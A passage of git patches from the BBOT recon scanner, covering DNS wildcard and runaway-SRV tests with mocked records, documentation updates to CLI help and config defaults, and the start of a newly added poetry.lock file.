raw_records_by_host["test.evilcorp.com"].resolved_hosts == {"127.0.0.2"} + assert raw_records_by_host["www.test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record"} + assert raw_records_by_host["www.test.evilcorp.com"].resolved_hosts == {"dead::beef"} + assert raw_records_by_host["fdsa.www.test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record"} + assert raw_records_by_host["fdsa.www.test.evilcorp.com"].resolved_hosts == set() + assert raw_records_by_host["bbot.fdsa.www.test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record"} + assert raw_records_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set() + + # then we run it again with wildcard detection enabled - # then run with wildcard detection enabled scan = bbot_scanner( "evilcorp.com", seeds=["bbot.fdsa.www.test.evilcorp.com"], config={ - "dns": {"minimal": False, "search_distance": 5, "wildcard_ignore": []}, + "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": []}, "speculate": True, }, ) await scan._prep() await scan.helpers.dns._mock_dns(txt_mock_data) + events = [e async for e in scan.async_start()] - dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} - # the seed event keeps its real host (renaming is suppressed for seeds) - assert "bbot.fdsa.www.test.evilcorp.com" in dns_names_by_host - # at least one wildcard-renamed event was emitted - renamed = [e for e in events if e.type == "DNS_NAME" and e.data.startswith("_wildcard.")] - assert renamed, "expected at least one _wildcard.* renamed event" - # explicit www.test.evilcorp.com still has its real AAAA, but is tagged wildcard for TXT - if "www.test.evilcorp.com" in dns_names_by_host: - assert "txt-wildcard" in dns_names_by_host["www.test.evilcorp.com"].tags - assert dns_names_by_host["www.test.evilcorp.com"].resolved_hosts == {"dead::beef"} + assert len(events) == 12 + assert len([e for e in events if e.type == "DNS_NAME"]) == 5 + assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4 + assert sorted([e.data for e in events if e.type == "DNS_NAME"]) == [ + "_wildcard.test.evilcorp.com", + "bbot.fdsa.www.test.evilcorp.com", + "evilcorp.com", + "test.evilcorp.com", + "www.test.evilcorp.com", + ] + + dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} + assert dns_names_by_host["evilcorp.com"].tags == { + "domain", + "private-ip", + "in-scope", + "a-record", + } + assert dns_names_by_host["evilcorp.com"].resolved_hosts == {"127.0.0.1"} + assert dns_names_by_host["test.evilcorp.com"].tags == { + "subdomain", + "private-ip", + "in-scope", + "a-record", + "txt-record", + } + assert dns_names_by_host["test.evilcorp.com"].resolved_hosts == {"127.0.0.2"} + assert dns_names_by_host["_wildcard.test.evilcorp.com"].tags == { + "subdomain", + "in-scope", + "txt-record", + "txt-wildcard", + "wildcard", + } + assert dns_names_by_host["_wildcard.test.evilcorp.com"].resolved_hosts == set() + assert dns_names_by_host["www.test.evilcorp.com"].tags == { + "subdomain", + "in-scope", + "aaaa-record", + "txt-record", + "txt-wildcard", + "wildcard", + } + assert dns_names_by_host["www.test.evilcorp.com"].resolved_hosts == {"dead::beef"} + assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].tags == { + "target", + "subdomain", + "in-scope", + "txt-record", + "txt-wildcard", + "wildcard", + "seed", + } + assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set() + + raw_records_by_host = {e.host: e for e in events if e.type == "RAW_DNS_RECORD"} + assert raw_records_by_host["test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record"} + assert raw_records_by_host["test.evilcorp.com"].resolved_hosts == {"127.0.0.2"} + assert raw_records_by_host["www.test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record", "txt-wildcard"} + assert raw_records_by_host["www.test.evilcorp.com"].resolved_hosts == {"dead::beef"} + assert raw_records_by_host["_wildcard.test.evilcorp.com"].tags == { + "subdomain", + "in-scope", + "txt-record", + "txt-wildcard", + } + assert raw_records_by_host["_wildcard.test.evilcorp.com"].resolved_hosts == set() + assert raw_records_by_host["bbot.fdsa.www.test.evilcorp.com"].tags == { + "subdomain", + "in-scope", + "txt-record", + "txt-wildcard", + } + assert raw_records_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set() ### runaway SRV wildcard ### - # mock a chain of SRV records that recursively point to a deeper subdomain. - # without runaway detection, this would generate infinite events. + # mock a chain of SRV records that recursively point to a deeper subdomain + # (replacing the original test's dynamic ``custom_lookup_fn``). + # The regex catch-all is what makes wildcard detection see *.evilcorp.com as a + # SRV wildcard zone -- without it, random probes during wildcard detection + # would return no SRV records and the *-wildcard-possible tags would never fire. runaway_mock = { "evilcorp.com": {"A": ["127.0.0.1"], "SRV": ["0 100 389 test.evilcorp.com."]}, "test.evilcorp.com": {"AAAA": ["dead::beef"], "SRV": ["0 100 389 test.test.evilcorp.com."]}, "test.test.evilcorp.com": {"SRV": ["0 100 389 test.test.test.evilcorp.com."]}, "test.test.test.evilcorp.com": {"SRV": ["0 100 389 test.test.test.test.evilcorp.com."]}, "test.test.test.test.evilcorp.com": {"SRV": ["0 100 389 test.test.test.test.test.evilcorp.com."]}, + r"regex:^.+\.evilcorp\.com$": {"SRV": ["0 100 389 test.evilcorp.com."]}, } scan = bbot_scanner( "evilcorp.com", config={ "dns": { "minimal": False, + "disable": False, "search_distance": 5, "wildcard_ignore": [], "runaway_limit": 3, @@ -390,22 +496,112 @@ async def test_wildcards(bbot_scanner): ) await scan._prep() await scan.helpers.dns._mock_dns(runaway_mock) + events = [e async for e in scan.async_start()] - dns_name_data = sorted(e.data for e in events if e.type == "DNS_NAME") - # runaway_limit=3 should stop the cascade before the 5th level - assert "test.test.test.test.test.evilcorp.com" not in dns_name_data - # the leaf event that hit the runaway limit should be tagged accordingly - runaway_tagged = [e for e in events if e.type == "DNS_NAME" and any(t.startswith("runaway-dns-") for t in e.tags)] - assert runaway_tagged, "expected at least one event tagged runaway-dns-N" + + assert len(events) == 11 + assert len([e for e in events if e.type == "DNS_NAME"]) == 5 + assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4 + assert sorted([e.data for e in events if e.type == "DNS_NAME"]) == [ + "evilcorp.com", + "test.evilcorp.com", + "test.test.evilcorp.com", + "test.test.test.evilcorp.com", + "test.test.test.test.evilcorp.com", + ] + + dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} + assert dns_names_by_host["evilcorp.com"].tags == { + "target", + "a-record", + "in-scope", + "domain", + "srv-record", + "private-ip", + "seed", + } + assert dns_names_by_host["test.evilcorp.com"].tags == { + "in-scope", + "srv-record", + "aaaa-record", + "srv-wildcard-possible", + "wildcard-possible", + "subdomain", + } + assert dns_names_by_host["test.test.evilcorp.com"].tags == { + "in-scope", + "srv-record", + "srv-wildcard-possible", + "wildcard-possible", + "subdomain", + } + assert dns_names_by_host["test.test.test.evilcorp.com"].tags == { + "in-scope", + "srv-record", + "srv-wildcard-possible", + "wildcard-possible", + "subdomain", + } + assert dns_names_by_host["test.test.test.test.evilcorp.com"].tags == { + "in-scope", + "srv-record", + "srv-wildcard-possible", + "wildcard-possible", + "subdomain", + "runaway-dns-3", + } + + raw_records_by_host = {e.host: e for e in events if e.type == "RAW_DNS_RECORD"} + assert raw_records_by_host["evilcorp.com"].tags == {"in-scope", "srv-record", "domain"} + assert raw_records_by_host["test.evilcorp.com"].tags == { + "in-scope", + "srv-record", + "srv-wildcard-possible", + "subdomain", + } + assert raw_records_by_host["test.test.evilcorp.com"].tags == { + "in-scope", + "srv-record", + "srv-wildcard-possible", + "subdomain", + } + assert raw_records_by_host["test.test.test.evilcorp.com"].tags == { + "in-scope", + "srv-record", + "srv-wildcard-possible", + "subdomain", + } await scan._cleanup() - ### dns_resolve_distance bookkeeping ### + ### event resolution + dns_resolve_distance (live github.io wildcard) ### scan = bbot_scanner("1.1.1.1") await scan._prep() - dnsresolve = scan.modules["dnsresolve"] + # event resolution -- github.io is a stable GitHub Pages wildcard zone + wildcard_event1 = scan.make_event("wat.asdf.fdsa.github.io", "DNS_NAME", parent=scan.root_event) + wildcard_event1.scope_distance = 0 + wildcard_event2 = scan.make_event("wats.asd.fdsa.github.io", "DNS_NAME", parent=scan.root_event) + wildcard_event2.scope_distance = 0 + wildcard_event3 = scan.make_event("github.io", "DNS_NAME", parent=scan.root_event) + wildcard_event3.scope_distance = 0 + + dnsresolve = scan.modules["dnsresolve"] + await dnsresolve.handle_event(wildcard_event1) + await dnsresolve.handle_event(wildcard_event2) + await dnsresolve.handle_event(wildcard_event3) + assert "wildcard" in wildcard_event1.tags + assert "a-wildcard" in wildcard_event1.tags + assert "srv-wildcard" not in wildcard_event1.tags + assert "wildcard" in wildcard_event2.tags + assert "a-wildcard" in wildcard_event2.tags + assert "srv-wildcard" not in wildcard_event2.tags + assert wildcard_event1.data == "_wildcard.github.io" + assert wildcard_event2.data == "_wildcard.github.io" + assert wildcard_event3.data == "github.io" + + # dns resolve distance event_distance_0 = scan.make_event("8.8.8.8", module=dnsresolve._make_dummy_module("PTR"), parent=scan.root_event) assert event_distance_0.dns_resolve_distance == 0 event_distance_1 = scan.make_event( @@ -413,7 +609,6 @@ async def test_wildcards(bbot_scanner): ) assert event_distance_1.dns_resolve_distance == 1 event_distance_2 = scan.make_event("1.2.3.4", module=dnsresolve._make_dummy_module("PTR"), parent=event_distance_1) - # IP_ADDRESS inherits its parent's distance directly assert event_distance_2.dns_resolve_distance == 1 event_distance_3 = scan.make_event( "evilcorp.org", module=dnsresolve._make_dummy_module("A"), parent=event_distance_2 @@ -422,6 +617,106 @@ async def test_wildcards(bbot_scanner): await scan._cleanup() + ### full Scanner test against live github.io ### + + from bbot.scanner import Scanner + + scan2 = Scanner( + "github.io", + seeds=["asdfl.gashdgkjsadgsdf.github.io"], + config={"dns": {"minimal": False}}, + ) + await scan2._prep() + other_event = scan2.make_event( + "lkjg.sdfgsg.jgkhajshdsadf.github.io", module=scan2.modules["dnsresolve"], parent=scan2.root_event + ) + await scan2.ingress_module.queue_event(other_event, {}) + events = [e async for e in scan2.async_start()] + + assert len(events) == 4 + assert 2 == len([e for e in events if e.type == "SCAN"]) + unmodified_wildcard_events = [ + e for e in events if e.type == "DNS_NAME" and e.data == "asdfl.gashdgkjsadgsdf.github.io" + ] + assert len(unmodified_wildcard_events) == 1 + assert unmodified_wildcard_events[0].tags.issuperset( + { + "a-record", + "target", + "aaaa-wildcard", + "in-scope", + "subdomain", + "aaaa-record", + "wildcard", + "a-wildcard", + } + ) + modified_wildcard_events = [e for e in events if e.type == "DNS_NAME" and e.data == "_wildcard.github.io"] + assert len(modified_wildcard_events) == 1 + assert modified_wildcard_events[0].tags.issuperset( + { + "a-record", + "aaaa-wildcard", + "in-scope", + "subdomain", + "aaaa-record", + "wildcard", + "a-wildcard", + } + ) + assert modified_wildcard_events[0].host_original == "lkjg.sdfgsg.jgkhajshdsadf.github.io" + + # full scan with wildcard detection disabled for github.io + scan2 = Scanner( + "github.io", + seeds=["asdfl.gashdgkjsadgsdf.github.io"], + config={"dns": {"wildcard_ignore": ["github.io"]}}, + exclude_modules=["cloudcheck"], + ) + await scan2._prep() + other_event = scan2.make_event( + "lkjg.sdfgsg.jgkhajshdsadf.github.io", module=scan2.modules["dnsresolve"], parent=scan2.root_event + ) + await scan2.ingress_module.queue_event(other_event, {}) + events = [e async for e in scan2.async_start()] + assert len(events) == 4 + assert 2 == len([e for e in events if e.type == "SCAN"]) + unmodified_wildcard_events = [e for e in events if e.type == "DNS_NAME" and "_wildcard" not in e.data] + assert len(unmodified_wildcard_events) == 2 + assert 1 == len( + [ + e + for e in unmodified_wildcard_events + if e.data == "asdfl.gashdgkjsadgsdf.github.io" + and e.tags.issuperset( + { + "target", + "a-record", + "in-scope", + "subdomain", + "aaaa-record", + } + ) + ] + ) + assert 1 == len( + [ + e + for e in unmodified_wildcard_events + if e.data == "lkjg.sdfgsg.jgkhajshdsadf.github.io" + and e.tags.issuperset( + { + "a-record", + "in-scope", + "subdomain", + "aaaa-record", + } + ) + ] + ) + modified_wildcard_events = [e for e in events if e.type == "DNS_NAME" and e.data == "_wildcard.github.io"] + assert len(modified_wildcard_events) == 0 + @pytest.mark.asyncio async def test_wildcard_deduplication(bbot_scanner): From dcbcac739c4f68dcb2531eeb24832c6c906fbaa5 Mon Sep 17 00:00:00 2001 From: TheTechromancer <20261699+TheTechromancer@users.noreply.github.com> Date: Thu, 23 Apr 2026 03:40:55 +0000 Subject: [PATCH 542/912] [create-pull-request] automated change --- docs/modules/nuclei.md | 2 +- docs/scanning/advanced.md | 46 +- docs/scanning/configuration.md | 20 +- docs/scanning/presets_list.md | 8 +- poetry.lock | 4086 ++++++++++++++++++++++++++++++++ 5 files changed, 4125 insertions(+), 37 deletions(-) create mode 100644 poetry.lock diff --git a/docs/modules/nuclei.md b/docs/modules/nuclei.md index 3264c1ab4b..aefc4e1d4f 100644 --- a/docs/modules/nuclei.md +++ b/docs/modules/nuclei.md @@ -51,7 +51,7 @@ The Nuclei module has many configuration options: | modules.nuclei.silent | bool | Don't display nuclei's banner or status messages | False | | modules.nuclei.tags | str | execute a subset of templates that contain the provided tags | | | modules.nuclei.templates | str | template or template directory paths to include in the scan | | -| modules.nuclei.version | str | nuclei version | 3.7.1 | +| modules.nuclei.version | str | nuclei version | 3.8.0 | Most of these you probably will **NOT** want to change. In particular, we advise against changing the version of Nuclei, as it's possible the latest version won't work right with BBOT. diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index ff35952f8e..8fc6593649 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -42,9 +42,9 @@ usage: bbot [-h] [-t TARGET [TARGET ...]] [-s SEEDS [SEEDS ...]] [--current-preset-full] [-mh MODULE] [-o DIR] [-om MODULE [MODULE ...]] [-lo] [--json] [--brief] [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--exclude-cdn] - [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps] - [--install-all-deps] [--version] [--proxy HTTP_PROXY] - [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] + [--no-deps | --force-deps | --retry-deps | + --ignore-failed-deps] [--install-all-deps] [--version] + [--proxy HTTP_PROXY] [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [-C CUSTOM_COOKIES [CUSTOM_COOKIES ...]] [--custom-yara-rules CUSTOM_YARA_RULES] [--user-agent USER_AGENT] [--user-agent-suffix SUFFIX] @@ -55,40 +55,39 @@ options: -h, --help show this help message and exit Target: - -t TARGET [TARGET ...], --targets TARGET [TARGET ...] + -t, --targets TARGET [TARGET ...] Target scope - -s SEEDS [SEEDS ...], --seeds SEEDS [SEEDS ...] + -s, --seeds SEEDS [SEEDS ...] Define seeds to drive passive modules without being in scope (if not specified, defaults to same as targets) - -b BLACKLIST [BLACKLIST ...], --blacklist BLACKLIST [BLACKLIST ...] + -b, --blacklist BLACKLIST [BLACKLIST ...] Don't touch these things --strict-scope Don't consider subdomains of target to be in-scope - exact matches only Presets: - -p [PRESET ...], --preset [PRESET ...] + -p, --preset [PRESET ...] Enable BBOT preset(s) - -c [CONFIG ...], --config [CONFIG ...] + -c, --config [CONFIG ...] Custom config options in key=value format: e.g. 'modules.shodan.api_key=1234' -lp, --list-presets List available presets. Modules: - -m MODULE [MODULE ...], --modules MODULE [MODULE ...] + -m, --modules MODULE [MODULE ...] Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virustotal,wafw00f,wayback,wpscan -l, --list-modules List available modules. -lmo, --list-module-options Show all module config options - -em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...] + -em, --exclude-modules MODULE [MODULE ...] Exclude these modules. - -f FLAG [FLAG ...], --flags FLAG [FLAG ...] + -f, --flags FLAG [FLAG ...] Enable modules by flag. Choices: active,affiliates,baddns,cloud-enum,code-enum,download,email-enum,iis-shortnames,invasive,loud,passive,portscan,safe,service-enum,slow,social-enum,subdomain-enum,subdomain-hijack,web,web-heavy,web-paramminer,web-screenshots -lf, --list-flags List available flags. - -rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...] + -rf, --require-flags FLAG [FLAG ...] Only enable modules with these flags (e.g. -rf passive) - -ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...] + -ef, --exclude-flags FLAG [FLAG ...] Disable modules with these flags. (e.g. -ef loud) Scan: - -n SCAN_NAME, --name SCAN_NAME - Name of scan (default: random) + -n, --name SCAN_NAME Name of scan (default: random) -v, --verbose Be more verbose -d, --debug Enable debugging -S, --silent Be quiet @@ -99,13 +98,12 @@ Scan: --current-preset Show the current preset in YAML format --current-preset-full Show the current preset in its full form, including defaults - -mh MODULE, --module-help MODULE + -mh, --module-help MODULE Show help for a specific module Output: - -o DIR, --output-dir DIR - Directory to output scan results - -om MODULE [MODULE ...], --output-modules MODULE [MODULE ...] + -o, --output-dir DIR Directory to output scan results + -om, --output-modules MODULE [MODULE ...] Output module(s). Choices: asset_inventory,csv,discord,elastic,emails,http,json,kafka,mongo,mysql,nats,neo4j,nmap_xml,postgres,python,rabbitmq,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,websocket,zeromq -lo, --list-output-modules List available output modules @@ -127,15 +125,15 @@ Module dependencies: Misc: --version show BBOT version and exit --proxy HTTP_PROXY Use this proxy for all HTTP requests - -H CUSTOM_HEADERS [CUSTOM_HEADERS ...], --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...] + -H, --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...] List of custom headers as key value pairs (header=value). - -C CUSTOM_COOKIES [CUSTOM_COOKIES ...], --custom-cookies CUSTOM_COOKIES [CUSTOM_COOKIES ...] + -C, --custom-cookies CUSTOM_COOKIES [CUSTOM_COOKIES ...] List of custom cookies as key value pairs (cookie=value). - --custom-yara-rules CUSTOM_YARA_RULES, -cy CUSTOM_YARA_RULES + --custom-yara-rules, -cy CUSTOM_YARA_RULES Add custom yara rules to excavate - --user-agent USER_AGENT, -ua USER_AGENT + --user-agent, -ua USER_AGENT Set the user-agent for all HTTP requests - --user-agent-suffix SUFFIX, -uas SUFFIX + --user-agent-suffix, -uas SUFFIX Suffix to append to the user-agent EXAMPLES diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index bbc5aa7a22..221f22a860 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -100,8 +100,10 @@ dns: disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false - # How many instances of the dns module to run concurrently - threads: 25 + # How many threads to use per resolver (best way to increase speed is to put more resolvers in /etc/resolv.conf) + threads: 10 + # How many DNS records to cache + cache_size: 100000 # How many concurrent DNS resolvers to use when brute-forcing # (under the hood this is passed through directly to massdns -s) brute_threads: 1000 @@ -126,8 +128,10 @@ dns: wildcard_tests: 10 # Skip DNS requests for a certain domain and rdtype after encountering this many timeouts or SERVFAILs # This helps prevent faulty DNS servers from hanging up the scan - abort_threshold: 50 - # Don't show PTR records containing IP addresses + abort_threshold: 10 + # Treat hostnames discovered via PTR records as affiliates instead of in-scope + # This prevents rDNS results (e.g. 1-2-3-4.ptr.example.com) from triggering + # subdomain enumeration against unrelated domains when scanning IP ranges filter_ptrs: true # Enable/disable debug messages for DNS queries debug: false @@ -374,13 +378,13 @@ In addition to the stated options for each module, the following universal optio |-----------------------------------------------------|----------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | modules.baddns.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | | modules.baddns.enabled_submodules | list | A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only | [] | -| modules.baddns.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED) | MODERATE | +| modules.baddns.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED) | MEDIUM | | modules.baddns.min_severity | str | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL) | LOW | | modules.baddns_direct.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | -| modules.baddns_direct.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED) | MODERATE | +| modules.baddns_direct.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED) | MEDIUM | | modules.baddns_direct.min_severity | str | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL) | LOW | | modules.baddns_zone.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | -| modules.baddns_zone.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED) | MODERATE | +| modules.baddns_zone.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED) | MEDIUM | | modules.baddns_zone.min_severity | str | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL) | INFO | | modules.badsecrets.custom_secrets | NoneType | Include custom secrets loaded from a local file | None | | modules.bucket_amazon.permutations | bool | Whether to try permutations | False | @@ -470,7 +474,7 @@ In addition to the stated options for each module, the following universal optio | modules.nuclei.silent | bool | Don't display nuclei's banner or status messages | False | | modules.nuclei.tags | str | execute a subset of templates that contain the provided tags | | | modules.nuclei.templates | str | template or template directory paths to include in the scan | | -| modules.nuclei.version | str | nuclei version | 3.7.1 | +| modules.nuclei.version | str | nuclei version | 3.8.0 | | modules.oauth.try_all | bool | Check for OAUTH/IODC on every subdomain and URL. | False | | modules.paramminer_cookies.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | | modules.paramminer_cookies.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index 98a4d126ec..354aac1728 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -17,7 +17,7 @@ Check for subdomain takeovers and other DNS issues. baddns: enabled_submodules: [CNAME, MX, TXT] min_severity: LOW - min_confidence: MODERATE + min_confidence: MEDIUM ``` @@ -43,13 +43,13 @@ Run all baddns modules and submodules. modules: baddns: enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD] - min_severity: INFORMATIONAL + min_severity: INFO min_confidence: UNKNOWN baddns_zone: - min_severity: INFORMATIONAL + min_severity: INFO min_confidence: UNKNOWN baddns_direct: - min_severity: INFORMATIONAL + min_severity: INFO min_confidence: UNKNOWN ``` diff --git a/poetry.lock b/poetry.lock new file mode 100644 index 0000000000..1480e56620 --- /dev/null +++ b/poetry.lock @@ -0,0 +1,4086 @@ +# This file is automatically @generated by Poetry 2.3.4 and should not be changed by hand. + +[[package]] +name = "annotated-doc" +version = "0.0.4" +description = "Document parameters, class attributes, return types, and variables inline, with Annotated." +optional = false +python-versions = ">=3.8" +groups = ["main", "dev"] +files = [ + {file = "annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320"}, + {file = "annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4"}, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +description = "Reusable constraint types to use with typing.Annotated" +optional = false +python-versions = ">=3.8" +groups = ["main", "dev"] +files = [ + {file = "annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53"}, + {file = "annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89"}, +] + +[[package]] +name = "ansible-core" +version = "2.17.14" +description = "Radically simple IT automation" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "ansible_core-2.17.14-py3-none-any.whl", hash = "sha256:34a49582a57c2f2af17ede2cefd3b3602a2d55d22089f3928570d52030cafa35"}, + {file = "ansible_core-2.17.14.tar.gz", hash = "sha256:7c17fee39f8c29d70e3282a7e9c10bd70d5cd4fd13ddffc5dcaa52adbd142ff8"}, +] + +[package.dependencies] +cryptography = "*" +jinja2 = ">=3.0.0" +packaging = "*" +PyYAML = ">=5.1" +resolvelib = ">=0.5.3,<1.1.0" + +[[package]] +name = "ansible-runner" +version = "2.4.3" +description = "\"Consistent Ansible Python API and CLI with container and process isolation runtime capabilities\"" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "ansible_runner-2.4.3-py3-none-any.whl", hash = "sha256:cdac6daa151a50084ffda710e769db23fa975fc0507796191d7708831b286e37"}, + {file = "ansible_runner-2.4.3.tar.gz", hash = "sha256:5f3025529bb968fdc3b627457dd8d418dbf9d53bc73735d50e69c28544d53031"}, +] + +[package.dependencies] +packaging = "*" +pexpect = ">=4.5" +python-daemon = "*" +pyyaml = "*" + +[[package]] +name = "antlr4-python3-runtime" +version = "4.9.3" +description = "ANTLR 4.9.3 runtime for Python 3.7" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "antlr4-python3-runtime-4.9.3.tar.gz", hash = "sha256:f224469b4168294902bb1efa80a8bf7855f24c99aef99cbefc1bcd3cce77881b"}, +] + +[[package]] +name = "anyio" +version = "4.13.0" +description = "High-level concurrency and networking framework on top of asyncio or Trio" +optional = false +python-versions = ">=3.10" +groups = ["main", "dev"] +files = [ + {file = "anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708"}, + {file = "anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc"}, +] + +[package.dependencies] +exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""} +idna = ">=2.8" +typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""} + +[package.extras] +trio = ["trio (>=0.32.0)"] + +[[package]] +name = "asndb" +version = "1.0.4" +description = "A simple Python CLI + library for looking up ASNs by IP or AS number. Uses BBOT.IO API." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "asndb-1.0.4-py3-none-any.whl", hash = "sha256:a62e4f5872e12cbd4b146c7583f7bf2a5239e43ed20a63728295058ee3f1a3db"}, + {file = "asndb-1.0.4.tar.gz", hash = "sha256:23989a4a09e66b76a86b1a36eea78138b4a3001b5f909bb89e110635bb1723f2"}, +] + +[package.dependencies] +cachetools = ">=6.2.1" +httpx = ">=0.28.1" +radixtarget = ">=4.0.1" +typer = ">=0.19.2" + +[[package]] +name = "babel" +version = "2.18.0" +description = "Internationalization utilities" +optional = false +python-versions = ">=3.8" +groups = ["docs"] +files = [ + {file = "babel-2.18.0-py3-none-any.whl", hash = "sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35"}, + {file = "babel-2.18.0.tar.gz", hash = "sha256:b80b99a14bd085fcacfa15c9165f651fbb3406e66cc603abf11c5750937c992d"}, +] + +[package.extras] +dev = ["backports.zoneinfo ; python_version < \"3.9\"", "freezegun (>=1.0,<2.0)", "jinja2 (>=3.0)", "pytest (>=6.0)", "pytest-cov", "pytz", "setuptools", "tzdata ; sys_platform == \"win32\""] + +[[package]] +name = "backports-asyncio-runner" +version = "1.2.0" +description = "Backport of asyncio.Runner, a context manager that controls event loop life cycle." +optional = false +python-versions = "<3.11,>=3.8" +groups = ["dev"] +markers = "python_version == \"3.10\"" +files = [ + {file = "backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5"}, + {file = "backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162"}, +] + +[[package]] +name = "backrefs" +version = "6.2" +description = "A wrapper around re and regex that adds additional back references." +optional = false +python-versions = ">=3.9" +groups = ["docs"] +files = [ + {file = "backrefs-6.2-py310-none-any.whl", hash = "sha256:0fdc7b012420b6b144410342caeb8adc54c6866cf12064abc9bb211302e496f8"}, + {file = "backrefs-6.2-py311-none-any.whl", hash = 